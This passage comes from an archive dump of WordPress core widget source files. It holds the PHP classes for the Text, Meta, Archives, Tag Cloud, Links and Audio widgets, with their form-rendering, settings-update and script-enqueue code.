user_can_richedit() ) { remove_filter( 'the_editor_content', 'format_for_editor' ); } // Prevent premature closing of textarea in case format_for_editor() didn't apply or the_editor_content filter did a wrong thing. $escaped_text = preg_replace( '#</textarea#i', '</textarea', $text ); ?> <input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>"> <textarea id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>" class="text sync-input" hidden><?php echo $escaped_text; ?></textarea> <input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" class="filter sync-input" type="hidden" value="on"> <input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual sync-input" type="hidden" value="on"> <?php else : ?> <input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual" type="hidden" value=""> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <?php if ( ! isset( $instance['visual'] ) ) { $widget_info_message = __( 'This widget may contain code that may work better in the “Custom HTML” widget. How about trying that widget instead?' ); } else { $widget_info_message = __( 'This widget may have contained code that may work better in the “Custom HTML” widget. If you have not yet, how about trying that widget instead?' ); } wp_admin_notice( $widget_info_message, array( 'type' => 'info', 'additional_classes' => array( 'notice-alt', 'inline' ), ) ); ?> <p> <label for="<?php echo $this->get_field_id( 'text' ); ?>"><?php _e( 'Content:' ); ?></label> <textarea class="widefat" rows="16" cols="20" id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>"><?php echo esc_textarea( $instance['text'] ); ?></textarea> </p> <p> <input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" type="checkbox"<?php checked( ! empty( $instance['filter'] ) ); ?> /> <label for="<?php echo $this->get_field_id( 'filter' ); ?>"><?php _e( 'Automatically add paragraphs' ); ?></label> </p> <?php endif; } /** * Renders form template scripts. * * @since 4.8.0 * @since 4.9.0 The method is now static. */ public static function render_control_template_scripts() { $dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ); ?> <script type="text/html" id="tmpl-widget-text-control-fields"> <# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #> <p> <label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label> <input id="{{ elementIdPrefix }}title" type="text" class="widefat title"> </p> <?php if ( ! in_array( 'text_widget_custom_html', $dismissed_pointers, true ) ) : ?> <div hidden class="wp-pointer custom-html-widget-pointer wp-pointer-top"> <div class="wp-pointer-content"> <h3><?php _e( 'New Custom HTML Widget' ); ?></h3> <?php if ( is_customize_preview() ) : ?> <p><?php _e( 'Did you know there is a “Custom HTML” widget now? You can find it by pressing the “<a class="add-widget" href="#">Add a Widget</a>” button and searching for “HTML”. Check it out to add some custom code to your site!' ); ?></p> <?php else : ?> <p><?php _e( 'Did you know there is a “Custom HTML” widget now? You can find it by scanning the list of available widgets on this screen. Check it out to add some custom code to your site!' ); ?></p> <?php endif; ?> <div class="wp-pointer-buttons"> <a class="close" href="#"><?php _e( 'Dismiss' ); ?></a> </div> </div> <div class="wp-pointer-arrow"> <div class="wp-pointer-arrow-inner"></div> </div> </div> <?php endif; ?> <?php if ( ! in_array( 'text_widget_paste_html', $dismissed_pointers, true ) ) : ?> <div hidden class="wp-pointer paste-html-pointer wp-pointer-top"> <div class="wp-pointer-content"> <h3><?php _e( 'Did you just paste HTML?' ); ?></h3> <p><?php _e( 'Hey there, looks like you just pasted HTML into the “Visual” tab of the Text widget. You may want to paste your code into the “Code” tab instead. Alternately, try out the new “Custom HTML” widget!' ); ?></p> <div class="wp-pointer-buttons"> <a class="close" href="#"><?php _e( 'Dismiss' ); ?></a> </div> </div> <div class="wp-pointer-arrow"> <div class="wp-pointer-arrow-inner"></div> </div> </div> <?php endif; ?> <p> <label for="{{ elementIdPrefix }}text" class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ esc_html_e( 'Content:' ); ?></label> <textarea id="{{ elementIdPrefix }}text" class="widefat text wp-editor-area" style="height: 200px" rows="16" cols="20"></textarea> </p> </script> <?php } } class-wp-widget-meta.php 0000644 00000007773 15151224100 0011220 0 ustar 00 <?php /** * Widget API: WP_Widget_Meta class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Meta widget. * * Displays log in/out, RSS feed links, etc. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Meta extends WP_Widget { /** * Sets up a new Meta widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_meta', 'description' => __( 'Login, RSS, & WordPress.org links.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'meta', __( 'Meta' ), $widget_ops ); } /** * Outputs the content for the current Meta widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Meta widget instance. */ public function widget( $args, $instance ) { $default_title = __( 'Meta' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } ?> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li> <li><a href="<?php echo esc_url( get_bloginfo( 'rss2_url' ) ); ?>"><?php _e( 'Entries feed' ); ?></a></li> <li><a href="<?php echo esc_url( get_bloginfo( 'comments_rss2_url' ) ); ?>"><?php _e( 'Comments feed' ); ?></a></li> <?php /** * Filters the "WordPress.org" list item HTML in the Meta widget. * * @since 3.6.0 * @since 4.9.0 Added the `$instance` parameter. * * @param string $html Default HTML for the WordPress.org list item. * @param array $instance Array of settings for the current widget. */ echo apply_filters( 'widget_meta_poweredby', sprintf( '<li><a href="%1$s">%2$s</a></li>', esc_url( __( 'https://wordpress.org/' ) ), __( 'WordPress.org' ) ), $instance ); wp_meta(); ?> </ul> <?php if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; } /** * Handles updating settings for the current Meta widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); return $instance; } /** * Outputs the settings form for the Meta widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <?php } } class-wp-widget-archives.php 0000644 00000016115 15151224105 0012071 0 ustar 00 <?php /** * Widget API: WP_Widget_Archives class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement the Archives widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Archives extends WP_Widget { /** * Sets up a new Archives widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_archive', 'description' => __( 'A monthly archive of your site’s Posts.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'archives', __( 'Archives' ), $widget_ops ); } /** * Outputs the content for the current Archives widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Archives widget instance. */ public function widget( $args, $instance ) { $default_title = __( 'Archives' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $count = ! empty( $instance['count'] ) ? '1' : '0'; $dropdown = ! empty( $instance['dropdown'] ) ? '1' : '0'; echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } if ( $dropdown ) { $dropdown_id = "{$this->id_base}-dropdown-{$this->number}"; ?> <label class="screen-reader-text" for="<?php echo esc_attr( $dropdown_id ); ?>"><?php echo $title; ?></label> <select id="<?php echo esc_attr( $dropdown_id ); ?>" name="archive-dropdown"> <?php /** * Filters the arguments for the Archives widget drop-down. * * @since 2.8.0 * @since 4.9.0 Added the `$instance` parameter. * * @see wp_get_archives() * * @param array $args An array of Archives widget drop-down arguments. * @param array $instance Settings for the current Archives widget instance. */ $dropdown_args = apply_filters( 'widget_archives_dropdown_args', array( 'type' => 'monthly', 'format' => 'option', 'show_post_count' => $count, ), $instance ); switch ( $dropdown_args['type'] ) { case 'yearly': $label = __( 'Select Year' ); break; case 'monthly': $label = __( 'Select Month' ); break; case 'daily': $label = __( 'Select Day' ); break; case 'weekly': $label = __( 'Select Week' ); break; default: $label = __( 'Select Post' ); break; } ?> <option value=""><?php echo esc_html( $label ); ?></option> <?php wp_get_archives( $dropdown_args ); ?> </select> <?php ob_start(); ?> <script> ( ( dropdownId ) => { const dropdown = document.getElementById( dropdownId ); function onSelectChange() { setTimeout( () => { if ( 'escape' === dropdown.dataset.lastkey ) { return; } if ( dropdown.value ) { document.location.href = dropdown.value; } }, 250 ); } function onKeyUp( event ) { if ( 'Escape' === event.key ) { dropdown.dataset.lastkey = 'escape'; } else { delete dropdown.dataset.lastkey; } } function onClick() { delete dropdown.dataset.lastkey; } dropdown.addEventListener( 'keyup', onKeyUp ); dropdown.addEventListener( 'click', onClick ); dropdown.addEventListener( 'change', onSelectChange ); })( <?php echo wp_json_encode( $dropdown_id, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> ); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) ); } else { $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } ?> <ul> <?php wp_get_archives( /** * Filters the arguments for the Archives widget. * * @since 2.8.0 * @since 4.9.0 Added the `$instance` parameter. * * @see wp_get_archives() * * @param array $args An array of Archives option arguments. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_archives_args', array( 'type' => 'monthly', 'show_post_count' => $count, ), $instance ) ); ?> </ul> <?php if ( 'html5' === $format ) { echo '</nav>'; } } echo $args['after_widget']; } /** * Handles updating settings for the current Archives widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget_Archives::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '', 'count' => 0, 'dropdown' => '', ) ); $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['count'] = $new_instance['count'] ? 1 : 0; $instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0; return $instance; } /** * Outputs the settings form for the Archives widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '', ) ); ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <p> <input class="checkbox" type="checkbox"<?php checked( $instance['dropdown'] ); ?> id="<?php echo $this->get_field_id( 'dropdown' ); ?>" name="<?php echo $this->get_field_name( 'dropdown' ); ?>" /> <label for="<?php echo $this->get_field_id( 'dropdown' ); ?>"><?php _e( 'Display as dropdown' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['count'] ); ?> id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" /> <label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show post counts' ); ?></label> </p> <?php } } class-wp-widget-tag-cloud.php 0000644 00000015172 15151224112 0012144 0 ustar 00 <?php /** * Widget API: WP_Widget_Tag_Cloud class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Tag cloud widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Tag_Cloud extends WP_Widget { /** * Sets up a new Tag Cloud widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'A cloud of your most used tags.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops ); } /** * Outputs the content for the current Tag Cloud widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Tag Cloud widget instance. */ public function widget( $args, $instance ) { $current_taxonomy = $this->_get_current_taxonomy( $instance ); if ( ! empty( $instance['title'] ) ) { $title = $instance['title']; } else { if ( 'post_tag' === $current_taxonomy ) { $title = __( 'Tags' ); } else { $tax = get_taxonomy( $current_taxonomy ); $title = $tax->labels->name; } } $default_title = $title; $show_count = ! empty( $instance['count'] ); $tag_cloud = wp_tag_cloud( /** * Filters the taxonomy used in the Tag Cloud widget. * * @since 2.8.0 * @since 3.0.0 Added taxonomy drop-down. * @since 4.9.0 Added the `$instance` parameter. * * @see wp_tag_cloud() * * @param array $args Args used for the tag cloud widget. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_tag_cloud_args', array( 'taxonomy' => $current_taxonomy, 'echo' => false, 'show_count' => $show_count, ), $instance ) ); if ( empty( $tag_cloud ) ) { return; } /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } echo '<div class="tagcloud">'; echo $tag_cloud; echo "</div>\n"; if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; } /** * Handles updating settings for the current Tag Cloud widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array(); $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['count'] = ! empty( $new_instance['count'] ) ? 1 : 0; $instance['taxonomy'] = stripslashes( $new_instance['taxonomy'] ); return $instance; } /** * Outputs the Tag Cloud widget settings form. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; $count = isset( $instance['count'] ) ? (bool) $instance['count'] : false; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" /> </p> <?php $taxonomies = get_taxonomies( array( 'show_tagcloud' => true ), 'object' ); $current_taxonomy = $this->_get_current_taxonomy( $instance ); switch ( count( $taxonomies ) ) { // No tag cloud supporting taxonomies found, display error message. case 0: ?> <input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="" /> <p> <?php _e( 'The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget.' ); ?> </p> <?php break; // Just a single tag cloud supporting taxonomy found, no need to display a select. case 1: $keys = array_keys( $taxonomies ); $taxonomy = reset( $keys ); ?> <input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="<?php echo esc_attr( $taxonomy ); ?>" /> <?php break; // More than one tag cloud supporting taxonomy found, display a select. default: ?> <p> <label for="<?php echo $this->get_field_id( 'taxonomy' ); ?>"><?php _e( 'Taxonomy:' ); ?></label> <select class="widefat" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>"> <?php foreach ( $taxonomies as $taxonomy => $tax ) : ?> <option value="<?php echo esc_attr( $taxonomy ); ?>" <?php selected( $taxonomy, $current_taxonomy ); ?>> <?php echo esc_html( $tax->labels->name ); ?> </option> <?php endforeach; ?> </select> </p> <?php } if ( count( $taxonomies ) > 0 ) { ?> <p> <input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" <?php checked( $count, true ); ?> /> <label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show tag counts' ); ?></label> </p> <?php } } /** * Retrieves the taxonomy for the current Tag cloud widget instance. * * @since 4.4.0 * * @param array $instance Current settings. * @return string Name of the current taxonomy if set, otherwise 'post_tag'. */ public function _get_current_taxonomy( $instance ) { if ( ! empty( $instance['taxonomy'] ) && taxonomy_exists( $instance['taxonomy'] ) ) { return $instance['taxonomy']; } return 'post_tag'; } } class-wp-widget-links.php 0000644 00000016175 15151224117 0011416 0 ustar 00 <?php /** * Widget API: WP_Widget_Links class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Links widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Links extends WP_Widget { /** * Sets up a new Links widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Your blogroll' ), 'customize_selective_refresh' => true, ); parent::__construct( 'links', __( 'Links' ), $widget_ops ); } /** * Outputs the content for the current Links widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Links widget instance. */ public function widget( $args, $instance ) { $show_description = isset( $instance['description'] ) ? $instance['description'] : false; $show_name = isset( $instance['name'] ) ? $instance['name'] : false; $show_rating = isset( $instance['rating'] ) ? $instance['rating'] : false; $show_images = isset( $instance['images'] ) ? $instance['images'] : true; $category = isset( $instance['category'] ) ? $instance['category'] : false; $orderby = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name'; $order = 'rating' === $orderby ? 'DESC' : 'ASC'; $limit = isset( $instance['limit'] ) ? $instance['limit'] : -1; $before_widget = preg_replace( '/ id="[^"]*"/', ' id="%id"', $args['before_widget'] ); $widget_links_args = array( 'title_before' => $args['before_title'], 'title_after' => $args['after_title'], 'category_before' => $before_widget, 'category_after' => $args['after_widget'], 'show_images' => $show_images, 'show_description' => $show_description, 'show_name' => $show_name, 'show_rating' => $show_rating, 'category' => $category, 'class' => 'linkcat widget', 'orderby' => $orderby, 'order' => $order, 'limit' => $limit, ); /** * Filters the arguments for the Links widget. * * @since 2.6.0 * @since 4.4.0 Added the `$instance` parameter. * * @see wp_list_bookmarks() * * @param array $widget_links_args An array of arguments to retrieve the links list. * @param array $instance The settings for the particular instance of the widget. */ wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) ); } /** * Handles updating settings for the current Links widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $new_instance = (array) $new_instance; $instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0, ); foreach ( $instance as $field => $val ) { if ( isset( $new_instance[ $field ] ) ) { $instance[ $field ] = 1; } } $instance['orderby'] = 'name'; if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ), true ) ) { $instance['orderby'] = $new_instance['orderby']; } $instance['category'] = (int) $new_instance['category']; $instance['limit'] = ! empty( $new_instance['limit'] ) ? (int) $new_instance['limit'] : -1; return $instance; } /** * Outputs the settings form for the Links widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { // Defaults. $instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false, 'orderby' => 'name', 'limit' => -1, ) ); $link_cats = get_terms( array( 'taxonomy' => 'link_category' ) ); $limit = (int) $instance['limit']; if ( ! $limit ) { $limit = -1; } ?> <p> <label for="<?php echo $this->get_field_id( 'category' ); ?>"><?php _e( 'Select Link Category:' ); ?></label> <select class="widefat" id="<?php echo $this->get_field_id( 'category' ); ?>" name="<?php echo $this->get_field_name( 'category' ); ?>"> <option value=""><?php _ex( 'All Links', 'links widget' ); ?></option> <?php foreach ( $link_cats as $link_cat ) : ?> <option value="<?php echo (int) $link_cat->term_id; ?>" <?php selected( $instance['category'], $link_cat->term_id ); ?>> <?php echo esc_html( $link_cat->name ); ?> </option> <?php endforeach; ?> </select> <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php _e( 'Sort by:' ); ?></label> <select name="<?php echo $this->get_field_name( 'orderby' ); ?>" id="<?php echo $this->get_field_id( 'orderby' ); ?>" class="widefat"> <option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option> <option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option> <option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option> <option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option> </select> </p> <p> <input class="checkbox" type="checkbox"<?php checked( $instance['images'], true ); ?> id="<?php echo $this->get_field_id( 'images' ); ?>" name="<?php echo $this->get_field_name( 'images' ); ?>" /> <label for="<?php echo $this->get_field_id( 'images' ); ?>"><?php _e( 'Show Link Image' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['name'], true ); ?> id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" /> <label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e( 'Show Link Name' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['description'], true ); ?> id="<?php echo $this->get_field_id( 'description' ); ?>" name="<?php echo $this->get_field_name( 'description' ); ?>" /> <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Show Link Description' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['rating'], true ); ?> id="<?php echo $this->get_field_id( 'rating' ); ?>" name="<?php echo $this->get_field_name( 'rating' ); ?>" /> <label for="<?php echo $this->get_field_id( 'rating' ); ?>"><?php _e( 'Show Link Rating' ); ?></label> </p> <p> <label for="<?php echo $this->get_field_id( 'limit' ); ?>"><?php _e( 'Number of links to show:' ); ?></label> <input id="<?php echo $this->get_field_id( 'limit' ); ?>" name="<?php echo $this->get_field_name( 'limit' ); ?>" type="text" value="<?php echo ( -1 !== $limit ) ? (int) $limit : ''; ?>" size="3" /> </p> <?php } } class-wp-widget-media-audio.php 0000644 00000014427 15151224124 0012450 0 ustar 00 <?php /** * Widget API: WP_Widget_Media_Audio class * * @package WordPress * @subpackage Widgets * @since 4.8.0 */ /** * Core class that implements an audio widget. * * @since 4.8.0 * * @see WP_Widget_Media * @see WP_Widget */ class WP_Widget_Media_Audio extends WP_Widget_Media { /** * Constructor. * * @since 4.8.0 */ public function __construct() { parent::__construct( 'media_audio', __( 'Audio' ), array( 'description' => __( 'Displays an audio player.' ), 'mime_type' => 'audio', ) ); $this->l10n = array_merge( $this->l10n, array( 'no_media_selected' => __( 'No audio selected' ), 'add_media' => _x( 'Add Audio', 'label for button in the audio widget' ), 'replace_media' => _x( 'Replace Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ), 'edit_media' => _x( 'Edit Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ), 'missing_attachment' => sprintf( /* translators: %s: URL to media library. */ __( 'That audio file cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ), esc_url( admin_url( 'upload.php' ) ) ), /* translators: %d: Widget count. */ 'media_library_state_multi' => _n_noop( 'Audio Widget (%d)', 'Audio Widget (%d)' ), 'media_library_state_single' => __( 'Audio Widget' ), 'unsupported_file_type' => __( 'Looks like this is not the correct kind of file. Please link to an audio file instead.' ), ) ); } /** * Get schema for properties of a widget instance (item). * * @since 4.8.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { $schema = array( 'preload' => array( 'type' => 'string', 'enum' => array( 'none', 'auto', 'metadata' ), 'default' => 'none', 'description' => __( 'Preload' ), ), 'loop' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Loop' ), ), ); foreach ( wp_get_audio_extensions() as $audio_extension ) { $schema[ $audio_extension ] = array( 'type' => 'string', 'default' => '', 'format' => 'uri', /* translators: %s: Audio extension. */ 'description' => sprintf( __( 'URL to the %s audio source file' ), $audio_extension ), ); } return array_merge( $schema, parent::get_instance_schema() ); } /** * Render the media on the frontend. * * @since 4.8.0 * * @param array $instance Widget instance props. */ public function render_media( $instance ) { $instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance ); $attachment = null; if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) { $attachment = get_post( $instance['attachment_id'] ); } if ( $attachment ) { $src = wp_get_attachment_url( $attachment->ID ); } else { $src = $instance['url']; } echo wp_audio_shortcode( array_merge( $instance, compact( 'src' ) ) ); } /** * Enqueue preview scripts. * * These scripts normally are enqueued just-in-time when an audio shortcode is used. * In the customizer, however, widgets can be dynamically added and rendered via * selective refresh, and so it is important to unconditionally enqueue them in * case a widget does get added. * * @since 4.8.0 */ public function enqueue_preview_scripts() { /** This filter is documented in wp-includes/media.php */ if ( 'mediaelement' === apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ) ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); } } /** * Loads the required media files for the media manager and scripts for media widgets. * * @since 4.8.0 */ public function enqueue_admin_scripts() { parent::enqueue_admin_scripts(); wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); $handle = 'media-audio-widget'; wp_enqueue_script( $handle ); $exported_schema = array(); foreach ( $this->get_instance_schema() as $field => $field_schema ) { $exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) ); } wp_add_inline_script( $handle, sprintf( 'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); wp_add_inline_script( $handle, sprintf( ' wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s; wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s ); ', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); } /** * Render form template scripts. * * @since 4.8.0 */ public function render_control_template_scripts() { parent::render_control_template_scripts() ?> <script type="text/html" id="tmpl-wp-media-widget-audio-preview"> <# if ( data.error && 'missing_attachment' === data.error ) { #> <?php wp_admin_notice( $this->l10n['missing_attachment'], array( 'type' => 'error', 'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ), ) ); ?> <# } else if ( data.error ) { #> <?php wp_admin_notice( __( 'Unable to preview media due to an unknown error.' ), array( 'type' => 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( data.model && data.model.src ) { #> <?php 